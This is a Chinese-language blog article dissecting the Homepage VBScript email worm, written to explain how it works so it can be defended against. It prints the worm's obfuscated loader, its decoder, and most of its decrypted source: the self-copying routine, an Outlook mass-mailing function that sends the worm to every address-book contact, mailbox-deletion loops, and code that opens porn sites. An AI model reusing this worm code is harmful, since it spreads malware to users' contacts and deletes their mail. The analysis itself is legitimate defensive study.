典型的邮件型病毒代码分析

 

随着 Internet 的迅猛发展,电子邮件成为人们相互交流最常使用的工具,于是它也成为新型病毒——电子邮件型病毒的重要载体。最近一两年,出现了许多危害极大的邮件型病毒,如去年闹得沸沸扬扬的 ILOVEYOU 病毒、Melissa 病毒以及更早些时候的“泡泡男孩”等,而最近又有的 “库尔尼科娃”病毒、“Naked Wife” 病毒以及 Homepage 病毒等,这些病毒的特征就是危害较大,主要是利用电子邮件作为传播途径,而且这类病毒一般都是专挑 Windows平台上应用最普遍的邮件客户端——Microsoft Outlook 来下手,其发作和破坏主要是通过利用 Outlook 的可编程特性来完成的,在收件人使用 Outlook 打开邮件或邮件附件时,里面的病毒就会自动激活并向“通讯簿”的所有人发带有病毒附件的邮件,类似于蠕虫一样“蠕动”,从而导致病毒的大规模迅速传播。如果是在企业环境中,由于网络速度较快,“通讯簿”中人数较多,只要用户打开已感染病毒的邮件,邮件会立即大规模地复制与传播,从而可能致使邮件服务器耗尽资源而瘫痪,其中部分病毒甚至可能破坏用户本地硬盘上数据和文件。
  下面我们来分析一下最近出现的 Homepage 病毒,了解它的运行机制,以便对症下药,防毒治毒。

  感染了 Homepage 病毒的邮件通常都带有一个名为 Homepage.html.vbs 的附件,很多人本以为他是一个 Html 页面而打开它的同时,这个其实是一个 VBScript 的文件已经开始执行了,这个文件的部分内容如下:

-----------------------------------

Execute DeCode("QpGttqtTguwogPgzvUgvYU?Etgcvg
Qdlgev*UgvHUQ?Etgcvgqdlge
...................(省略).....................
uqhvyctg^Cp^ockngf0GpfKhPgzvGpfKh
PgzvGpfkhGpfHwpevkqp")

Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9)
  Else CurChar = Chr(Asc(CurChar) - 2)
  End If
  DeCode = DeCode & CurChar
 Next
End Function
-------------------------------------

  显而易见,病毒对自已的源码进行了加密以加强隐蔽性,加密后的代码就是 DeCode("...") 函数中间的那些乱七八糟的东西,这段 Script 在执行的时候先对利用 Decode 函数对自己进行解密,然后再执行(Execute)解密后的源代码。

  我们只要对上述代码稍加修改,就能得到未加密的病毒源代码,修改后的文件另存为 SourceCode.vbs ,如下所示:

--------------------------------------
REM 得到病毒源代码

strCode =
DeCode("QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*
UgvHUQ?Etgcvgqdlge
...................(省略).....................
uqhvyctg^Cp^ockngf0GpfKhPgzvGpfKh
PgzvGpfkhGpfHwpevkqp")

REM 将源代码存放到一个文本文件中

Set FSO = CreateObject("Scripting.filesystemobject")
Set fCode = FSO.OpenTextFile("Code.txt",2,true)
fCode.Write strCode
fCode.Close
FSO.Close

REM 解密函数
Function Decode(Coded)
......(省略).......
End Function
-------------------------------------

  双击运行 SourceCode.vbs ,就可以在同一个目录下生成一个 Code.txt ,里面就是未加密的病毒源代码,部分关键代码如下所示:


-------------------------------------
On Error Resume Next
Set WS = CreateObject("WScript.Shell")

'---复制自已(病毒的典型特性之一)

Set FSO= Createobject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)

Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
'--将文件本身的内容读到内存中
Do While InF.AtEndOfStream<>True
 ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop

Set OutF=FSO.OpenTextFile(Folder&"homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
'--写到同名文件中,复制任务完成
OutF.close
Set FSO=Nothing
'--病毒编写者的编程习惯倒是挺好,懂得关闭不用的资源,难得

'---向 outlook 的地址簿中的每一个地址发去一封携毒邮件
,同时在注册表项 HKCUsoftwareAnmailed 中为自已做的一个标记,
保证在同一台主机上只发一次(传播也是病毒的典型特性)

If WS.regread ("HKCUsoftwareAnmailed") <> "1" then
Mailit()
End If

'---搞破坏,检索OUTLOOK收件箱,将其中主题为“Homepage”的邮件统统
删除并将“已删除文件夹”中清空,同时随机打开四个色情
站点中的一个(破坏用户的数据是病毒的又一典型特性)

Set s=CreateObject("Outlook.Application")
Set t=s.GetNameSpace("MAPI")
Set u=t.GetDefaultFolder(6)
'-- u对象就是“收件箱”文件夹,下面的循环将指定的邮件全部删除
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next

Set u=t.GetDefaultFolder(3)
'-- u对象就是是“已删除邮件”文件夹,删除了还不够,还要清空,真够狠毒的
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).delete
End If
Next

'---随机打开四个色情站点中的一个(色情站点域名省略,有人说这是病毒
作者在为自已的站点“拉客”)
Randomize
r=Int((4*Rnd) 1)
If r=1 then WS.Run("http://..../shannon/1.htm")
elseif r=2 Then WS.Run("http://..../_XMCM/prinzje/1.htm")
elseif r=3 Then WS.Run("http://..../amateur/sheila/1.htm")
ElseIf r=4 Then WS.Run("http://..../1.htm")
End If

'---向 outlook 的地址簿中的地址发送邮件的函数
Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application")
'--创建一个 Outlook 对象
If Outlook = "Outlook" Then
Set Mapi=Outlook.GetNameSpace("MAPI")
Set Lists=Mapi.AddressLists
For Each ListIndex In Lists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count= 1 To ContactCount
Set Mail = Outlook.CreateItem(0)
'--创建新邮件
Set Contact = ListIndex.AddressEntries(Count)
'--取地址
Mail.To = Contact.Address
Mail.Subject = "Homepage"
'--设置邮件主题
Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see
'--设置邮件内容 this page! It's really cool ;O)"&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
'--将病毒脚本加为附件
Attachment.Add Folder & "homepage.HTML.vbs"
Mail.DeleteAfterSubmit = True
If Mail.To <> "" Then
Mail.Send
WS.regwrite "HKCUsoftwareAnmailed", "1"
'--在注册表中做标记,以防止再次重发
End If
Next
End If
Next
End if
End Function

-------------------------------------

  从以上代码分析可以看出,这个病毒虽然传播性很强,但破坏性不是特别大,它至少没有对用户硬盘上的文件做更改。虽然如此,但它还是具有一般病毒的典型特性,即:复制、传播和破坏,这个病毒和其它的一些电子邮件型病毒如“库尼科娃”,爱虫等其原理都是大同小异的,理解这些原理之后,我们就要可以找到一些防治这些病毒发作的有效办法。

 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值